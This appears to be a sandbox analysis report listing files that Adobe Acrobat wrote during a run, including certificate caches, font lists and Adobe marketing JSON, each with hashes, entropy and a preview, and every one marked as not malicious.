SHA-512:	E374A02D8A9C1E18D9653AF5B35F5DBD99F157B58A6DB021B4A85B118C8A311DD944E74057C7F6618F33A9F71C23BB766AA5DAEAC03CC3F0951317FB507DAB6F
Malicious:	false
Preview:	.... .c.....+..k...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklC1FGpttfllXlE/HT8k49ll7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKb1FyeT8XVNMa8RdWBwRd
MD5:	8BC53FA9EDC3CBEC415BBDE4D259D72E
SHA1:	0AD50B96182637DEE4189B34318A67FC22F1A33E
SHA-256:	5FE2314B0B81417FC4598160AB70EE205F63A0C512808BD966ADFEA06F90324F
SHA-512:	B03AB54D31F557A76678936DAFC22D1F787F6945216C5817E6DCD41774AE1BB5D5AE6F5E192C0E664541CB62E5A897FEC744C85868C1AECA5E73293B1D2819D0
Malicious:	false
Preview:	p...... ........q.7l.c..(....................................................... ..........W....]...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKZyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:oiDnLNkPlE99SNxAhUe/3
MD5:	47524992228D25FAD31F2C6F81045F7B
SHA1:	09DA982E80E46B4F8ACB6D506FC3C327614364C3
SHA-256:	191A679C1DF56572DDD39ACCA073A446404E1F5B095141412F3A928945644436
SHA-512:	7705574935797D544D14B31CB309DDB763EAB335104325981FF2DC12A411FD41ED0FF2681680B18F12BF70821BFD64A33F664DDCA11C00BC2B805B176C588C3F
Malicious:	false
Preview:	p...... .........8.~.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35762713479403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJM3g98kUwPeUkwRe9:YvXKXnXTGUMrT5LjIPpGMbLUkee9
MD5:	D44B91D9D3CBB0E9B71A58D2ED83608A
SHA1:	2400A802E8FD95687C0CA95DD49F36B603116A0E
SHA-256:	E7D38D10DC258BE0D162AC809C5B091B3BE7C9BF7147FB39502CF02887F21F06
SHA-512:	0F4A70C6526E1FAFCC528C9453AAA14106BED9BF2E77432D277B35945DB607F61E84BBBEE0B8347561698A8B32EC6A2913431C358F8F4B624B61C8323509A247
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310063184104131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfBoTfXpnrPeUkwRe9:YvXKXnXTGUMrT5LjIPpGWTfXcUkee9
MD5:	ACA376C531ED65EE02A0763522FBB0B5
SHA1:	C5807E5A7EFD10B05D9119F950BD6CC911600426
SHA-256:	A1D75C5621D98F13BBD451CC38B42205957A37791E4D20D5A1A0CCABBE76C80D
SHA-512:	F1F3E847BE94E5E6EF12901BE46F7F37188D0C84E98478EF91C7ED7203755CFB1A753AA06FD6B2EAD772D878EFD52DF273ABDAF4436E25FC9FDDA3FEC09FDF57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288202098849398
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfBD2G6UpnrPeUkwRe9:YvXKXnXTGUMrT5LjIPpGR22cUkee9
MD5:	66C6B7C19385F9B8CC5E5DA0CA286DF3
SHA1:	E43122C5F48D1559155751954B903C8BD9CC82F3
SHA-256:	FE76486B7964B93B828CD8C49E6C74AE304ADF3CCB68C915A2BD37B17277F497
SHA-512:	B267BB7F6FFEE92E9750820FDD6C795B60DA4CF7248993D4D1B401DAF58CBA4CE454E6A0E8E78F2B2E7084BC7F48B9070B2B4CBAE761000C8CD5007506FC7B78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338427895369502
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfPmwrPeUkwRe9:YvXKXnXTGUMrT5LjIPpGH56Ukee9
MD5:	51232970F82D1BAB9701ECA25A683A64
SHA1:	18F85A02398E4C25A414E7CB4A3FF865D9122F2A
SHA-256:	350B9F9515A283818FDB599F86649B93FCD283373EA497430C277C54C1FF985C
SHA-512:	43CDA7913EF59C340C446FEEF1CF23318709773CE996DFF6C15E0F81DBC5BB335408A9E1A42AA0B1CBFA446BD3C685094F71365C2FA2264CD5E6224C8871C069
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693791714262443
Encrypted:	false
SSDEEP:	24:Yv6XaUUT5XIWpLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvhXfhgy6SAFv5Ah8cv/j
MD5:	F55EF13CB7DE92495DBECBD3BDCA40B7
SHA1:	2885D38BD442CE7DB6B9661F5D312526C54CA4DB
SHA-256:	ABF490EFCC1A01750213DD34A5A453579F5A3B4037B612009269FC22411EE601
SHA-512:	4ECD257A3BC31E29F8A944789714D520F269ABF3EB856938936ADBC5C44A745388FB9A67D9059569EF2D8B9EDA83E57F2DF141C93F16926BE6C5355B597B1177
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310847938064552
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJf8dPeUkwRe9:YvXKXnXTGUMrT5LjIPpGU8Ukee9
MD5:	658881ADDF68C367FD9B2B8E12DD3EB0
SHA1:	ACA7C8FF5048958C650E074B3FCC7EA61A728E9F
SHA-256:	27D985E0E155204C757A13EFD7FFC11806965AB08BED86A8874CD9BAD2FC3993
SHA-512:	FB4BC923CC384BECCD02CB886D41F9CA31D4ACB844CD87600991E096E97794ECD4EA361BA1AF46D07B81876B91AAEAD1CC72945E4B3E21A5B7CAA1FA793BE78A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.301966342442265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfQ1rPeUkwRe9:YvXKXnXTGUMrT5LjIPpGY16Ukee9
MD5:	DEACD85FE31A40178B5E2E0ED12F75AD
SHA1:	8372A215E8506BF99C92D90A14E978ADA2871F4F
SHA-256:	17C8ED4F6A28346304885A3260F97D22DF3B4FF2ABD0010B010DC7E11C3921B0
SHA-512:	25845361712D6D9969AA2AA89BC94811B8A83C52655A36B089CBBBE9F7CD8A9487555499F5E089AD192373E69D4BC65475D061DF28DD18344CD234E76CC854B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320539997466846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfFldPeUkwRe9:YvXKXnXTGUMrT5LjIPpGz8Ukee9
MD5:	CD03127F89E3E270DECC2E085E9C5C96
SHA1:	719B778F8F909F1DCBD099D86CBF8AC68921D2A0
SHA-256:	B01A386D3D5D24CF13BA2654829E69CBDC8CFE203C9B234D4DB7FE8CD5770330
SHA-512:	BF61693ED7BD5A4FAD3DAB415028482307C7ADC2EE2F5D7C9AB214D85168D2CF8C5FD4745AD73093C960755493C729019B992EDBC757EBCD6BC1F2F94B3FC37C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b1156576-5e28-44c2-8a2c-fd724e8866c4","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739654361,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337492403984613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnXd1XGL4dM4mSg1c2LjcWkHvR0YEEbqoAvJfzdPeUkwRe9:YvXKXnXTGUMrT5LjIPpGb8Ukee9
MD5:	D6BEF6F84482EF321636D37EE9C2476A
SHA1:	F006D8F61E78856470C892F36BD0E4D5F4FD6103
